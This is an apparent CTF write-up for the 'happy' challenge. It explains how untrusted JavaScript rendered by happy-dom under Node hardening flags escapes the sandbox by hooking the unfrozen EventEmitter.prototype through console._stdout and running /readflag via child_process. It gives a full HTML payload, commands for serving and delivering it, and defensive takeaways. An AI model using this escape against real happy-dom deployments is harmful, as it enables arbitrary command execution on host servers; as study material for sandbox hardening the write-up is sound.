happy
`--frozen-intrinsics` freezes only the ECMAScript intrinsics — Node core prototypes such as `EventEmitter.prototype` are left alone
NNS{7fw_y0U_C0N5o13._s7d0Ut_For_1ike_th3_billiontH_7im3} Flag: NNS{7fw_y0U_C0N5o13._s7d0Ut_For_1ike_th3_billiontH_7im3}
Challenge description: “I like my DOMs happy.” Author: xtea418
The challenge
chal.js reads a URL from stdin and renders it with happy-dom,
with JavaScript evaluation enabled:
import { createInterface } from "node:readline/promises";
import { Browser } from "happy-dom";
const rl = createInterface(process.stdin, process.stdout);
const url = await rl.question("schlink?: ");
const browser = new Browser({
settings: { enableJavaScriptEvaluation: true },
console: global.console, // <-- the real Node console
});
const page = browser.newPage();
await page.goto(url);
It is launched hardened:
node --disallow-code-generation-from-strings --frozen-intrinsics chal.js
- happy-dom version: 20.11.2
/readflagis---x--x--x(mode0311, ownerjail): not readable, only executable. We run as the same uid (uid=10000(jail)), so the goal is not to read a file but to spawn a child process that runs/readflag.
Why the “obvious” escapes are blocked
--disallow-code-generation-from-stringskills the classic happy-dom realm-leak escape (window.constructor.constructor("...")(), CVE-2025-61927). Anyeval/Function("code")throwsEvalError.--frozen-intrinsicsfreezes the JS language intrinsics (Object.prototype,Function.prototype,Array.prototype, …), so prototype-pollution gadgets against the language built-ins are closed too.
The bug
--frozen-intrinsics only freezes ECMAScript language intrinsics. It does not touch
Node core class prototypes such as EventEmitter.prototype.
And because chal.js passes console: global.console, the sandbox is handed the real Node
console. That console exposes console._stdout, which is process.stdout — a real
net.Socket. Its prototype chain is:
Socket → Duplex → Readable → Stream → EventEmitter.prototype (unfrozen!)
EventEmitter.prototype is shared by every emitter in the process — including the real
process object. So we can hook EventEmitter.prototype.emit, then trigger any event on
process and capture this, which will be the genuine process object — fully outside the
sandbox.
To make process emit something, we call the legacy Buffer(1) constructor, which fires a
deprecation warning → process.emitWarning() → internally process.emit('warning', …).
Our hooked emit sees this.pid === <number> and grabs it.
From the real process we get a module loader. It’s an ESM context so process.mainModule is
undefined, but process.getBuiltinModule('child_process') works and hands us
execFileSync.
/readflag prints a usage banner demanding a passphrase (a Bee-Movie quote) as its argv, so we
pass that string as the argument.
Exploit chain
console._stdout→ walk the prototype chain up toEventEmitter.prototype(the first proto whoseconstructor.name === 'Object'is one past it).- Replace
EventEmitter.prototype.emitwith a hook that recordsthiswhenevertypeof this.pid === 'number'. - Call
Buffer(1)→ deprecation warning →process.emit('warning', …)→proccaptured. proc.getBuiltinModule('child_process').execFileSync('/readflag', [PASSPHRASE]).console.log(...)— since the page’sconsoleisglobal.console, this writes straight toprocess.stdout, i.e. back down the TCP socket to us. No separate exfil needed.
Payload (exploit/page.html)
<html><body><script type="module">
let EEProto = console._stdout;
while (Object.getPrototypeOf(EEProto).constructor.name !== 'Object')
EEProto = Object.getPrototypeOf(EEProto);
const origEmit = EEProto.emit;
let proc = null;
EEProto.emit = function(...args){
if (this && typeof this.pid === 'number') proc = this;
return origEmit.apply(this, args);
};
try { Buffer(1); } catch(e) {}
await new Promise(r => setTimeout(r, 200));
const PASS = "According to all known laws of aviation, there is no way that a bee should be able to FLY. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyways. Because BEES don't care what humans think is impossible.";
let result = {};
if (proc) {
const cp = proc.getBuiltinModule('child_process');
try { result.flag = cp.execFileSync('/readflag', [PASS]).toString(); }
catch(e){ result.err = String(e.message); if(e.stdout) result.out = e.stdout.toString(); }
}
console.log("EXPLOIT RESULT: " + JSON.stringify(result));
</script></body></html>
Delivery
happy-dom’s goto rejects data: URLs (its fetch layer throws Invalid URL), so the page has
to be served over HTTP. The remote box fetches our URL, so a public URL is required:
# serve the payload
python3 -m http.server 8123 # (or the node server in local_test/)
# expose it
cloudflared tunnel --url http://localhost:8123
The instance endpoint is tcp-ssl (TLS-wrapped, routed by SNI through Traefik), so connect
with an SSL client, not plain nc:
HOST=happy-<id>.chall.nnsc.tf
( printf '%s\n' "https://<your-tunnel>.trycloudflare.com/"; sleep 25 ) \
| openssl s_client -connect $HOST:1337 -servername $HOST -quiet
Response:
schlink?: EXPLOIT RESULT: {"flag":"NNS{7fw_y0U_C0N5o13._s7d0Ut_For_1ike_th3_billiontH_7im3}\n"}
Takeaways
--frozen-intrinsicsis not a sandbox — it freezes JS language intrinsics only. Node core class prototypes (EventEmitter,Stream,Socket, …) stay mutable and are reachable from any leaked core object.- Handing untrusted JS the real
global.consoleis the whole game:console._stdoutis a livenet.Socket, a direct bridge toEventEmitter.prototypeand, through a capturedemitthis, to the realprocess. - The flag name says it: “tfw you console._stdout for like the billionth time.”